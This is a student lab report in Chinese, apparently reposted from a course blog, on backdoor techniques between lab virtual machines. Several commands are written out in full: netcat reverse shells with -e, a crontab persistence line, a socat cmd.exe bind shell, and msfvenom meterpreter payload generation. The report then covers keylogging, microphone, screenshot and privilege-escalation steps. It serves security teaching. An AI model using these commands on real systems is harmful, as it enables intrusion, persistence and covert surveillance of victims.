Exp2 后门原理与实践 20154301仉鑫烨

本文介绍了网络对抗实验的具体步骤,包括Windows与Linux系统间利用ncat和socat建立后门连接的方法,以及使用Meterpreter获取远程控制权限的过程。还探讨了记录键盘输入、截屏和音频等高级功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

20154301《网络对抗》Exp2 后门原理与实践

20154301仉鑫烨

一、实验内容
常用后门工具实践:
  • Windows获得Linux Shell:
  1. 在Windows下,先使用ipconfig指令查看win7虚拟机IP:
    1344257-20180329131308772-388112259.png

  2. 使用ncat.exe程序监听本机的4301端口:
    1344257-20180329131332088-1731213925.png

  3. Kali:使用nc指令的-e选项反向连接Windows主机的4301端口:
    1344257-20180329131337303-296106826.png

  4. Windows下成功获得了一个Kali的shell,运行ls指令如下:
    1344257-20180329131344027-459146667.png

  • Linux获得Windows Shell:
  1. 过程与之前的类似,在Kali环境下用ifconfig查看IP:
    1344257-20180329131350929-1492709909.png

  2. 使用nc指令监听4301端口:
    1344257-20180329131355632-1600541499.png

  3. 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4301端口:
    1344257-20180329131359120-831071948.png

  4. Kali下可以看到Windows的命令提示,可以输入Windows命令:
    1344257-20180329131402902-80014764.png

  • 使用nc传输数据:
  1. Windows下监听4301端口:
    1344257-20180329131406771-1269211883.png

  2. Kali下连接到Windows的4301端口:
    1344257-20180329131412401-566310973.png

  3. 建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
    1344257-20180329131421036-1078923689.png
    1344257-20180329131425194-275312044.png


  • 使用netcat获取主机操作Shell,cron启动
  1. 先在Windows系统下,监听4301端口:
    1344257-20180329131433250-962404792.png

  2. 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
    1344257-20180329131441534-1735387712.png

  3. crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
    (最后一行为44 * * * * /bin/netcat 192.168.108.131 4301 -e /bin/sh,意思是在每个小时的第44分钟反向连接Windows主机的4301端口,此时时间为16:43)
    1344257-20180329131450671-1561038299.png

  4. 时间到16点44分,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了44分时会立马显示出来):
    1344257-20180329131454541-1686730494.png

  • 使用socat获取主机操作Shell, 任务计划启动
    基础知识:
     `socat`是`ncat`的增强版,它使用的格式是`socat [options] <address> <address>`,其中两个`address`是必选项,而`options` 是可选项。
    `socat`的基本功能就是建立两个双向的字节流,数据就在其间传输,参数`address`就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
  1. 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
    1344257-20180329131502568-175118930.png

  2. 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4301 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4301,同时把cmd.exe的stderr重定向到stdout上:
    1344257-20180329131507263-1052790800.png

  3. 创建完成之后,可以windows+L锁定计算机让它执行。
    1344257-20180329131512722-313958218.png

  4. 此时,在Kali环境下输入指令socat - tcp:192.168.108.131:4301,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4301端口,此时可以发现已经成功获得了一个cmd shell:
    1344257-20180329131522049-404248669.png


  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  1. 输入指令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.131 LPORT=4301 -f exe > 20154301_backdoor.exe
    生成后门程序:
    1344257-20180329131607220-803245871.png

  2. 通过'nc'指令将生成的后门程序传送到Windows主机上:
    1344257-20180329131612162-883105358.png

  3. 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:use exploit/multi/handler set payload windows/meterpreter/reverse_tcp
    1344257-20180329131617517-476921566.png

  4. 设置完成后,执行监听:
    1344257-20180329131621206-1203845163.png

  5. 打开Windows上的后门程序:20154301_backdoor.exe
    1344257-20180329131626398-818413357.png

  6. 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
    1344257-20180329131640024-395418193.png


  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  1. 使用record_mic指令截获一段音频:
    1344257-20180329131645312-1663808634.png

  2. 使用webcam_snap指令可以使用摄像头进行拍照:(电脑没有色相头!!)
  3. 使用screenshot指令可以进行截屏:
    1344257-20180329131721224-1400129723.png

  4. 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
    1344257-20180329131733635-1241744624.png
    1344257-20180329131738139-955035300.png

  5. 先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:
    1344257-20180329131742623-1460814444.png


二、实验感想
  • 本次实验对我而言具有一定的难度,尤其是在一开始不清楚ip地址发生变化时,第四项实验内容始终不能通过,有些摸不到头脑。后查阅了曾林同学的博客,发现了解决办法,最终解决了问题。在进行实验的过程中,我对网络攻防有了更深的理解,加深了兴趣,尤其在后面记录对方按键记录、屏幕信息、打开摄像头的阶段,十分有趣。期待下一次免杀实验,希望能学会更加具有实际操作意义的攻防技术。

三、实验问题
  1. 例举你能想到的一个后门进入到你系统中的可能方式?
    朋友盗号后给你发送文件。

  2. 例举你知道的后门如何启动起来(win及linux)的方式?
    按键启动。伴随打开软件启动。

  3. Meterpreter有哪些给你映像深刻的功能?
    记录按键记录、截屏、打开摄像头、录音等功能,可在被攻击方毫不知情的情况下泄露大量隐私,并产生信息安全风险

  4. 如何发现自己有系统有没有被安装后门?
    杀毒软件扫描

转载于:https://www.cnblogs.com/z20154301/p/8669163.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值